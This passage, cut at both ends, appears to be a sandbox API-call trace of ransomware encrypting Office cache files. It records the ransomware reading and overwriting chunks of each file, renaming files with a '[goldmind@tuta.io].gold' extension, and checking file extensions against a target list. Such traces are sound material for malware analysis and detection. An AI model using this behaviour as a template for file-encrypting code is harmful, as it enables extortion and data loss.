nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.488] WriteFile (in: hFile=0x19c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0040.488] SetEndOfFile (hFile=0x19c) returned 1 [0040.488] CloseHandle (hObject=0x19c) returned 1 [0040.716] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.716] SetEndOfFile (hFile=0x1a0) returned 1 [0040.721] CloseHandle (hObject=0x1a0) returned 1 [0040.721] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0040.721] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0040.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.722] lstrlenW (lpString=".doc") returned 4 [0040.722] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.722] lstrlenW (lpString=".docx") returned 5 [0040.722] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0040.722] lstrlenW (lpString=".pdf") returned 4 [0040.722] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.722] lstrlenW (lpString=".xls") returned 4 [0040.722] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.722] lstrlenW (lpString=".xlsx") returned 5 [0040.722] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0040.722] lstrlenW (lpString=".ppt") returned 4 [0040.722] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.722] lstrlenW (lpString=".zip") returned 4 [0040.722] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.722] lstrlenW (lpString=".rar") returned 4 [0040.722] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.722] lstrlenW (lpString=".bz2") returned 4 [0040.722] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.722] lstrlenW (lpString=".7z") returned 3 [0040.722] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.722] lstrlenW (lpString=".dbf") returned 4 [0040.722] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.722] lstrlenW (lpString=".1cd") returned 4 [0040.723] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.723] lstrlenW (lpString=".jpg") returned 4 [0040.723] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.723] lstrlenW (lpString=".doc") returned 4 [0040.723] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.723] lstrlenW (lpString=".docx") returned 5 [0040.723] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0040.723] lstrlenW (lpString=".pdf") returned 4 [0040.723] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.723] lstrlenW (lpString=".xls") returned 4 [0040.723] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.723] lstrlenW (lpString=".xlsx") returned 5 [0040.723] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0040.723] lstrlenW (lpString=".ppt") returned 4 [0040.723] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.723] lstrlenW (lpString=".zip") returned 4 [0040.723] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.723] lstrlenW (lpString=".rar") returned 4 [0040.723] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.723] lstrlenW (lpString=".bz2") returned 4 [0040.723] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.723] lstrlenW (lpString=".7z") returned 3 [0040.723] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.723] lstrlenW (lpString=".dbf") returned 4 [0040.723] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.723] lstrlenW (lpString=".1cd") returned 4 [0040.723] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.723] lstrlenW (lpString=".jpg") returned 4 [0040.723] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.724] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0040.724] lstrlenW (lpString="InfLR.cab") returned 9 [0040.724] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0040.724] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=18874884) returned 1 [0040.724] CloseHandle (hObject=0x1a0) returned 1 [0040.724] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0040.724] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.724] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0040.725] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0040.725] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0040.725] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.725] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.806] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.806] ReadFile (in: hFile=0x1a0, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.867] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.867] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.867] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.936] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.936] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0041.230] SetEndOfFile (hFile=0x1a0) returned 1 [0041.230] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0041.230] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.230] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.231] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.231] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.234] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.234] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.237] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0041.237] CloseHandle (hObject=0x1a0) returned 1 [0041.237] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0041.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.237] lstrlenW (lpString=".doc") returned 4 [0041.237] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.237] lstrlenW (lpString=".docx") returned 5 [0041.238] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.238] lstrlenW (lpString=".pdf") returned 4 [0041.238] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString=".xls") returned 4 [0041.238] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString=".xlsx") returned 5 [0041.238] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.238] lstrlenW (lpString=".ppt") returned 4 [0041.238] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.238] lstrlenW (lpString=".zip") returned 4 [0041.238] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString=".rar") returned 4 [0041.238] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString=".bz2") returned 4 [0041.238] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.238] lstrlenW (lpString=".7z") returned 3 [0041.238] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.238] lstrlenW (lpString=".dbf") returned 4 [0041.238] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.238] lstrlenW (lpString=".1cd") returned 4 [0041.238] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.238] lstrlenW (lpString=".jpg") returned 4 [0041.238] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.238] lstrlenW (lpString=".doc") returned 4 [0041.238] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString=".docx") returned 5 [0041.238] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.238] lstrlenW (lpString=".pdf") returned 4 [0041.238] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString=".xls") returned 4 [0041.238] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString=".xlsx") returned 5 [0041.238] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.238] lstrlenW (lpString=".ppt") returned 4 [0041.238] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.238] lstrlenW (lpString=".zip") returned 4 [0041.238] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString=".rar") returned 4 [0041.238] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.238] lstrlenW (lpString=".bz2") returned 4 [0041.238] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.238] lstrlenW (lpString=".7z") returned 3 [0041.238] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.238] lstrlenW (lpString=".dbf") returned 4 [0041.238] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.239] lstrlenW (lpString=".1cd") returned 4 [0041.239] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0041.239] lstrlenW (lpString=".jpg") returned 4 [0041.239] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.239] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0041.239] lstrlenW (lpString="VisioLR.cab") returned 11 [0041.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0041.239] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=50823389) returned 1 [0041.239] CloseHandle (hObject=0x1a0) returned 1 [0041.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0041.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.239] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0041.240] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0041.240] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0041.240] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.240] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.275] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.275] ReadFile (in: hFile=0x1a0, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.296] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.296] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.296] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.358] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.359] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0041.825] SetEndOfFile (hFile=0x1a0) returned 1 [0041.825] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0041.828] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.828] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.829] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.829] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.829] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.829] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.831] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0041.831] CloseHandle (hObject=0x1a0) returned 1 [0041.831] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0041.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.831] lstrlenW (lpString=".doc") returned 4 [0041.832] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString=".docx") returned 5 [0041.832] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.832] lstrlenW (lpString=".pdf") returned 4 [0041.832] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString=".xls") returned 4 [0041.832] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString=".xlsx") returned 5 [0041.832] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.832] lstrlenW (lpString=".ppt") returned 4 [0041.832] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.832] lstrlenW (lpString=".zip") returned 4 [0041.832] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString=".rar") returned 4 [0041.832] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString=".bz2") returned 4 [0041.832] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.832] lstrlenW (lpString=".7z") returned 3 [0041.832] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.832] lstrlenW (lpString=".dbf") returned 4 [0041.832] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.832] lstrlenW (lpString=".1cd") returned 4 [0041.832] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.832] lstrlenW (lpString=".jpg") returned 4 [0041.832] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.832] lstrlenW (lpString=".doc") returned 4 [0041.832] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString=".docx") returned 5 [0041.832] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.832] lstrlenW (lpString=".pdf") returned 4 [0041.832] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString=".xls") returned 4 [0041.832] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString=".xlsx") returned 5 [0041.832] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.832] lstrlenW (lpString=".ppt") returned 4 [0041.832] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0041.832] lstrlenW (lpString=".zip") returned 4 [0041.832] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString=".rar") returned 4 [0041.832] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.832] lstrlenW (lpString=".bz2") returned 4 [0041.832] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.832] lstrlenW (lpString=".7z") returned 3 [0041.832] lstrcmpiW 